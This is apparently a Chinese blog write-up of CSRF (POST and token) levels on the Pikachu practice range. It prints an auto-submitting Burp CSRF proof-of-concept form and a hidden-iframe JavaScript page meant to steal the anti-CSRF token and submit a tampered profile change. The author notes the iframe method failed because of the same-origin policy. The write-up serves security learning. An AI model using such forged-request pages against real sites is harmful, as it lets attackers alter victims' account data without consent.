pikachu靶场——CSRF(post与token)(Kali系统)

文章目录

前言:本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别CSRF漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。

一、CSRF(POST)

post 的攻击方式和 get 的实现步骤完全一致,唯一的区别就是在生成恶意的网站时,他的代码一个为 get 请求,一个是 post 请求,具体的生成的恶意代码如下:

html 复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://目标网站ip/pikachu/vul/csrf/csrftoken/token_get_edit.php">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="12345678922" />
      <input type="hidden" name="add" value="usa" />
      <input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" />
      <input type="hidden" name="token" value="2190569ac27f2b1d8c849409371" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

详细实现步骤可以参考pikachu靶场------CSRF(get)(Kali系统)

二、CSRF(TOKEN)

(一)查看 token 位置

在本靶场中,在对修改个人信息进行抓包的时候,发现请求会同时传递一个 token 值。

检擦前端页面,发现该值位于一个 input 的标签中。而且该值是一个动态变化的值,无法固定,只能在每次的返回信息中提取。

(二)构造跳转页面

在这里,我们需要利用 JavaScript 先读取目标页面的 Token,再提交修改请求。

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>Get Token and Attack</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        // 第一步:创建一个隐藏的 iframe,用来加载目标页面,从而获取 Cookie 和 Token
        var iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        iframe.src = 'http://目标ip/pikachu/vul/csrf/csrftoken/token_get_edit.php'; // 目标地址
        
        // 第二步:当 iframe 加载完成后,读取它的内容,提取 Token
        iframe.onload = function() {
            var ifrDoc = iframe.contentDocument || iframe.contentWindow.document;
            
            // 提取 Token (根据网页源码,Token 通常在 input 标签里)
            var tokenInput = ifrDoc.querySelector('input[name="token"]');
            var token = tokenInput.value;
            
            // 第三步:构造攻击 URL 并跳转
            var attackUrl = 'http://目标IP/pikachu/vul/csrf/csrftoken/token_get_edit.php?';
            attackUrl += 'sex=boy&phonenum=88888888888&add=hacker&email=hacker%40pikachu.com&token=' + token + '&submit=submit';
            
            window.location.href = attackUrl;
        };
        
        document.body.appendChild(iframe);
    </script>
</body>
</html>

代码逻辑解析:

  • 隐藏 iframe:创建一个看不见的 iframe,访问 token_get_edit.php。因为是同域(假设攻击页面能访问),浏览器会自动带上 Cookie,服务器返回的页面里包含有效的 Token。
  • 提取 Token:通过 iframe.contentDocument 读取 iframe 里的 HTML 代码,使用 querySelector 找到 中的 xxxx。
  • 发起攻击:将提取到的 Token 拼接到恶意修改的 URL 中,通过 window.location.href 跳转,完成修改。

注意!!!!!==========》

上面是我在网上搜索其他技术大佬的思路,但是在模拟的实际环境中,是无法实现的,具体原因和现象可以参考前面两个博客(pikachu靶场------同源策略(csrf token 没复现成功)pikachu靶场------csrf的几个问题),具体原因就是 同源策略 ,攻击者(kali)构建的恶意网站,与目标主机不是同源,所以无法获取相关资源。

所以,下面这个思路我没有复现成功。现在附在下面,供大家了解参考,有大佬复现成功的可以相互交流。

实际复现步骤:

但是针对于本身 pikachu 靶场的这个 token 关卡,我这边的复现思路如下:

  • 通过抓包可以看出,他其实就是发送的get请求,携带了 token 参数。
  • 在 token 中登录后,再点击 get 和 post 关卡的时候,发现这个登录状态依然存在。
  • 使用 get 管卡中生成的恶意网页进行篡改数据的测试,结果发现篡改成功。

因此,就本靶场而言,使用 get 管卡的请求即可实现信息的修改。

关于环境和恶意网页的修改

在之前的恶意网页中,我们的 IP 地址的书写存在以下的细节。

1.使用实际 IP 的环境。

如果整个环境是3台虚拟机,一台 win系统(作为 pikachu 的服务器),一台 win 系统(作为普通用户),一台 kali 系统(作为攻击主机),这个时候,使用实际 IP 可以实现篡改任务。

2.使用 localhost 作为 IP 地址的环境

整个环境是 2 台虚拟机,一台 win 系统 (同时作为 pikachu 的服务器 和 普通用户),一台 kali 系统(作为攻击主机),这时候,使用 localhost 才能实现篡改,如果写实际的 IP 地址,会出现pikachu靶场------csrf的几个问题里面说的,会跳转到登录页面。

相关推荐
周淳APP7 小时前
【计算机网络之XSS、CSRF、DDoS原理及防御措施】
前端·网络·计算机网络·http·ddos·xss·csrf
啥都想学点2 天前
pikachu靶场——csrf的几个问题
网络安全·csrf
一次旅行16 天前
CSRF和SSRF
前端·网络·csrf
玄〤22 天前
个人博客网站搭建day1-Spring Security 核心配置详解:CSRF、会话管理、授权与异常处理(漫画解析)
java·后端·spring·spring security·csrf
DEMO派24 天前
前端CSRF攻击代码演示及防御方案解析
前端·csrf
fyakm25 天前
防范HTTP安全风险:CSRF、XSS等攻击与防御策略(含代码)
安全·http·csrf
王大傻09281 个月前
CSRF漏洞概述
安全·web安全·csrf
少云清1 个月前
【安全测试】2_客户端脚本安全测试 _XSS和CSRF
前端·xss·csrf
SJLoveIT2 个月前
【安全研发】CSRF (跨站请求伪造) 深度复盘与防御体系
前端·安全·csrf